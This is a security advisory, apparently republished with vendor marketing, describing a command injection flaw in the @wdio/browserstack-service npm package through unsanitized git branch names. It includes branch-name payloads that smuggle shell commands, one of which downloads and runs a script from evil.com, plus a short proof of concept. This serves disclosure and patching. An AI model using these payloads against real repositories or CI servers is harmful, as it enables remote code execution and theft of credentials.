GHSA-5c46-x3qw-q7j7
CRITICALGHSA-5c46-x3qw-q7j7 is a critical-severity (CVSS 9.8) remote code execution vulnerability in @wdio/browserstack-service. O3 Security confirms whether GHSA-5c46-x3qw-q7j7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
WebdriverIO BrowserStack Service has a Command Injection issue
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
@wdio/browserstack-servicenpmDescription
Summary
A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
Vulnerable Code
Root Cause
User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.
Git allows to create these branches.
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"
Attack Vector
- Attacker creates a malicious git repository with a branch name containing command injection payload
- Attacker configures WebdriverIO to use this repository via
testOrchestrationOptions.runSmartSelection.source. ifsourceis not provided it takes current directory assource. - When
getGitMetadataForAISelection()executes, it extracts the malicious branch name - Branch name is interpolated into shell commands without sanitization
- Shell interprets special characters and executes attacker's commands
PoC
Step 1: Create Malicious Repository Branch
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
Step 2: Configure WebdriverIO
// wdio.conf.js
export const config = {
services: [
['browserstack', {
user: process.env.BROWSERSTACK_USERNAME,
key: process.env.BROWSERSTACK_ACCESS_KEY,
testOrchestrationOptions: {
runSmartSelection: {
enabled: true,
source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
}
}
}]
],
// ... rest of config
}
Step 3: Run Tests
npm run wdio
Step 4: Verify RCE
# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt
Impact
- Remote Code Execution on CI/CD servers or developer machines
- Information Disclosure (environment variables, secrets, credentials)
- Data Exfiltration (source code, SSH keys, configuration files)
- System Compromise (backdoor installation, lateral movement)
- Supply Chain Attack (modify build artifacts)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @wdio/browserstack-service | all versions | 9.24.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @wdio/browserstack-service. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @wdio/browserstack-service to 9.24.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5c46-x3qw-q7j7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5c46-x3qw-q7j7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5c46-x3qw-q7j7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5c46-x3qw-q7j7 in your dependencies?
O3 detects GHSA-5c46-x3qw-q7j7 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.